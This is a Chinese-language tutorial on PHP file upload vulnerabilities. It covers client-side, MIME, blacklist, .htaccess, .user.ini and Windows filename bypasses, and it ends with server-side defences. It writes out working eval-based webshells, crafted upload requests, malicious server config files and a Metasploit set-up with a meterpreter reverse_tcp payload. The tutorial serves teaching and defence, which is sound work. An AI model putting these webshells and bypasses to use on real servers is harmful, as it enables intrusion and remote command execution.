文件上传漏洞基础教程

概述

什么是文件上传漏洞

文件上传漏洞是Web应用程序中最常见的安全问题之一。当Web应用程序允许用户上传文件而没有进行适当的验证和过滤时,攻击者可以上传恶意文件来执行任意代码、窃取敏感数据或控制服务器。

常见攻击方式

  • 上传Webshell文件(PHP、JSP、ASP等)
  • 上传配置文件(.htaccess、.user.ini)
  • 上传包含代码的恶意图片
  • 上传包含恶意内容的压缩文件

基础概念

PHP文件上传机制

在PHP中,文件上传通过$_FILES超全局数组来处理。这个数组包含了上传文件的所有相关信息:

  • $_FILES['file']['name']:客户端文件的原名称
  • $_FILES['file']['type']:文件的MIME类型(由客户端提供)
  • $_FILES['file']['size']:已上传文件的大小,单位为字节
  • $_FILES['file']['tmp_name']:文件被上传后在服务端储存的临时文件名
  • $_FILES['file']['error']:和该文件上传相关的错误代码

常用上传函数包括:

  • move_uploaded_file($tmp_name, $destination):将上传的文件移动到新位置
  • is_uploaded_file($filename):检查文件是否通过HTTP POST上传
  • file_exists($path):检查文件或目录是否存在

MIME类型

MIME(Multipurpose Internet Mail Extensions)类型是一种标准,用来表示文档、文件或字节流的性质和格式。常见的MIME类型包括:

  • image/jpeg:JPEG图像
  • image/png:PNG图像
  • image/gif:GIF图像
  • image/bmp:BMP图像
  • text/html:HTML文件
  • text/plain:纯文本
  • application/x-httpd-php:PHP文件
  • multipart/form-data:表单数据(用于文件上传)

客户端验证绕过

检测方法

客户端验证通常通过JavaScript在前端进行。在上传表单中,JavaScript代码会检查文件扩展名是否在允许的范围内。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name + "|") == -1) {
alert("该文件不允许上传,请上传" + allow_ext + "类型的文件");
return false;
}
}

绕过方法

方法一:禁用JavaScript

原理:JavaScript验证完全依赖于客户端的JavaScript执行。如果禁用了JavaScript,验证代码就不会执行,文件就可以直接上传。

实现方式:

  • 在浏览器设置中禁用JavaScript
  • 使用浏览器开发者工具禁用脚本

方法二:修改JavaScript代码

原理:通过拦截服务器响应并修改其中的JavaScript代码,可以删除或绕过验证逻辑。这种方法利用了HTTP响应可以被修改的特性。

实现步骤:

  1. 打开Burp Suite并拦截请求
  2. 启用”Do intercept - Response to this request”选项
  3. 修改响应,删除或修改验证代码
  4. 转发修改后的响应

方法三:上传前修改文件扩展名

原理:JavaScript只检查文件扩展名,不检查文件实际内容。因此,可以将恶意文件重命名为允许的扩展名上传,然后在传输过程中改回原始扩展名。

实现步骤:

  1. 将恶意文件重命名为允许的扩展名(如:shell.php → shell.jpg)
  2. 上传文件
  3. 使用Burp Suite拦截请求
  4. 在请求中将扩展名改回.php

实例演示

原始请求:

1
2
3
4
5
6
7
8
9
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['cmd']);?>
------WebKitFormBoundary--

修改后的请求:

1
2
3
4
5
6
7
8
9
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php @eval($_POST['cmd']);?>
------WebKitFormBoundary--

服务器端MIME类型验证绕过

检测方法

服务器端MIME类型验证通过检查HTTP请求头中的Content-Type字段来判断文件类型。例如:

1
2
3
4
5
6
7
8
9
10
11
if (($_FILES['upload_file']['type'] == 'image/jpeg') ||
($_FILES['upload_file']['type'] == 'image/png') ||
($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}

绕过方法

修改Content-Type头

原理:Content-Type字段是由客户端提供的,攻击者可以随意修改这个字段的值。服务器只检查这个字段的值,而不验证文件的实际内容,因此可以通过修改Content-Type来绕过验证。

实现方式:使用Burp Suite拦截请求,将Content-Type从application/x-httpd-php改为image/jpeg

实例演示

原始请求:

1
2
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-httpd-php

修改后的请求:

1
2
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

黑名单过滤绕过

检测方法

黑名单过滤通过定义不允许的文件扩展名列表来阻止危险文件上传。例如:

1
2
3
4
5
6
7
8
9
10
11
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);

if (!in_array($file_ext, $deny_ext)) {
// 允许上传
}

绕过方法

方法一:使用替代扩展名

原理:黑名单只能包含有限的扩展名,而PHP支持多种扩展名,如.php5、.php4、.phtml等。如果这些扩展名不在黑名单中,就可以绕过过滤。

常见的PHP替代扩展名:

  • .php5
  • .php4
  • .php3
  • .php2
  • .phtml
  • .pht

方法二:大小写变化

原理:PHP的in_array()函数默认是区分大小写的。如果黑名单只包含小写的.php,那么.PHP.PhP等大小写变体就可以绕过过滤。

常见变体:

  • .PHP
  • .PhP
  • .pHp
  • .PHp

方法三:双扩展名

原理:某些服务器配置会根据最后一个扩展名来决定如何处理文件。例如,file.php.jpg可能被当作JPG文件处理,但如果服务器配置不当,PHP代码仍然可能被执行。

常见方式:

  • file.php.jpg
  • file.php.png

方法四:空字节注入(PHP < 5.3.4)

原理:在PHP 5.3.4之前的版本中,文件名中的空字节(\x00)会被截断。例如,file.php\x00.jpg会被解析为file.php,从而绕过黑名单过滤。

常见方式:

  • file.php%00.jpg
  • file.php\x00.jpg

方法五:空格和点技巧

原理:Windows文件系统对文件名的处理有特殊规则。末尾的点会被自动删除,空格也可能被忽略。这些特性可以用来绕过黑名单过滤。

常见方式:

  • file.php.(Windows会自动删除末尾的点)
  • file.php.(末尾有空格和点)
  • file.php::$DATA(Windows NTFS备用数据流特性)

实例演示

上传文件为shell.php5

1
2
3
4
// 服务器代码
$deny_ext = array('.asp','.aspx','.php','.jsp');
// .php5不在黑名单中
// 文件上传成功

.htaccess文件上传

原理

.htaccess是Apache Web服务器使用的分布式配置文件,它可以更改服务器对特定目录及其所有子目录的配置。通过上传精心构造的.htaccess文件,可以修改服务器的行为,使得其他文件(如图片文件)被当作PHP脚本执行。

检测方法

检查.htaccess是否在黑名单中。如果黑名单没有包含.htaccess,就可以上传这个文件。

绕过步骤

第一步:创建.htaccess文件

文件内容:

1
2
3
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这个指令告诉Apache将shell.jpg当作PHP文件执行。

第二步:上传.htaccess

将.htaccess文件上传到上传目录。

第三步:上传恶意图片

创建shell.jpg,包含PHP代码:

1
<?php @eval($_POST['cmd']);?>

上传这个文件,它将被作为PHP执行。

替代配置方式

  • 将目录中的所有文件作为PHP执行:AddType application/x-httpd-php .jpg
  • 将特定文件作为PHP执行:<Files "shell.jpg">SetHandler application/x-httpd-php</Files>
  • 将所有.jpg文件作为PHP执行:<FilesMatch "\.jpg$">SetHandler application/x-httpd-php</FilesMatch>

.user.ini文件上传

原理

.user.ini是PHP配置文件,可用于覆盖特定目录的php.ini设置。它适用于PHP-FPM和CGI环境。通过上传.user.ini文件,可以配置PHP在执行任何脚本之前自动包含某个文件,从而实现代码执行。

检测方法

检查.user.ini是否在黑名单中。如果黑名单没有包含.user.ini,就可以上传这个文件。

绕过步骤

第一步:创建.user.ini文件

文件内容:

1
auto_prepend_file = shell.jpg

这个指令告诉PHP在执行目录中的任何PHP文件之前自动包含shell.jpg

第二步:上传.user.ini

将.user.ini文件上传到上传目录。

第三步:上传恶意图片

创建包含PHP代码的shell.jpg并上传。

替代配置方式

  • 在主脚本之后包含文件:auto_append_file = shell.jpg
  • 包含多个文件:auto_prepend_file = shell1.jpg,shell2.jpg

Windows文件命名技巧

末尾的点

原理:Windows文件系统会自动删除文件名末尾的点。例如,file.php.会被保存为file.php。这个特性可以用来绕过黑名单过滤。

实例:上传shell.php.,存储为shell.php

空格

原理:Windows对文件名中的空格处理比较宽松。在某些情况下,空格会被忽略或自动删除。这个特性也可以用来绕过某些过滤机制。

实例:上传shell.php.,处理后可能变为shell.php

::$DATA流

原理:Windows NTFS文件系统支持备用数据流(Alternate Data Streams,ADS)。通过使用::$DATA后缀,可以访问文件的主数据流。例如,file.php::$DATA会被解析为file.php。这个特性可以绕过黑名单过滤。

实例:上传shell.php::$DATA,存储为shell.php

基础Webshell

简单Webshell

1
2
3
<?php
@eval($_POST['cmd']);
?>

密码保护的Webshell

1
2
3
4
5
6
<?php
$password = "your_password";
if ($_POST['pass'] == $password) {
@eval($_POST['cmd']);
}
?>

多功能Webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$cmd = $_POST['cmd'];
if (function_exists('system')) {
system($cmd);
} elseif (function_exists('exec')) {
exec($cmd, $output);
print_r($output);
} elseif (function_exists('shell_exec')) {
echo shell_exec($cmd);
} elseif (function_exists('passthru')) {
passthru($cmd);
}
?>

测试工具

Burp Suite

Burp Suite是一个用于Web应用安全测试的集成平台。主要功能包括:

  • 拦截和修改HTTP请求
  • Repeater用于测试不同的payload
  • Intruder用于自动化攻击

蚁剑(AntSword)

蚁剑是一个开源的webshell管理工具,主要特点:

  • 支持多种连接方式
  • 文件管理和终端访问
  • 插件系统扩展功能

Metasploit

Metasploit是一个渗透测试框架,包含多个文件上传相关的exploit模块:

1
2
3
4
5
use exploit/multi/http/php_upload
set RHOSTS target_ip
set RPORT 80
set PAYLOAD php/meterpreter/reverse_tcp
exploit

防护措施

服务器端验证

白名单方法

原理:白名单只允许特定的文件扩展名,比黑名单更安全。因为黑名单总是可能遗漏某些扩展名,而白名单只允许已知安全的扩展名。

1
2
3
4
5
$allow_ext = array('.jpg', '.jpeg', '.png', '.gif');
$file_ext = strtolower(strrchr($file_name, '.'));
if (in_array($file_ext, $allow_ext)) {
// 允许上传
}

文件内容验证

原理:通过检查文件的MIME类型,可以验证文件的实际内容是否与扩展名匹配。这可以防止攻击者简单地修改文件扩展名。

1
2
3
4
5
6
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime_type = $finfo->file($_FILES['file']['tmp_name']);
$allowed_types = array('image/jpeg', 'image/png', 'image/gif');
if (in_array($mime_type, $allowed_types)) {
// 允许上传
}

图像验证

原理:使用getimagesize()函数可以验证文件是否为有效的图像文件。这个函数会读取图像文件头,如果文件不是有效的图像,会返回false。

1
2
3
4
$image_info = getimagesize($_FILES['file']['tmp_name']);
if ($image_info !== false) {
// 有效的图像
}

文件重命名

原理:将上传的文件重命名为随机生成的名称,可以防止攻击者猜测文件路径,并避免文件名冲突。

1
2
$new_filename = md5(uniqid()) . '.jpg';
move_uploaded_file($tmp_name, UPLOAD_PATH . $new_filename);

存储在Web根目录之外

原理:将上传的文件存储在Web根目录之外,可以防止直接通过HTTP访问这些文件。需要通过单独的脚本来提供文件访问。

1
2
$upload_dir = '/var/www/uploads/'; // 在Web根目录之外
// 使用单独的脚本来提供文件

禁用脚本执行

原理:通过配置Web服务器,在上传目录中禁用PHP脚本的执行,可以防止上传的恶意文件被执行。

1
2
3
4
5
6
7
8
9
# 在上传目录中的.htaccess
<FilesMatch "\.php$">
Order Allow,Deny
Deny from all
</FilesMatch>

<FilesMatch "\.(php|php5|phtml)$">
SetHandler None
</FilesMatch>

总结

本教程涵盖了文件上传漏洞的基础知识,包括:

  • 客户端验证绕过
  • 服务器端MIME类型验证绕过
  • 黑名单过滤绕过
  • .htaccess和.user.ini攻击
  • Windows文件命名技巧

这些技术构成了理解更高级文件上传攻击的基础,将在下一篇文章中继续介绍。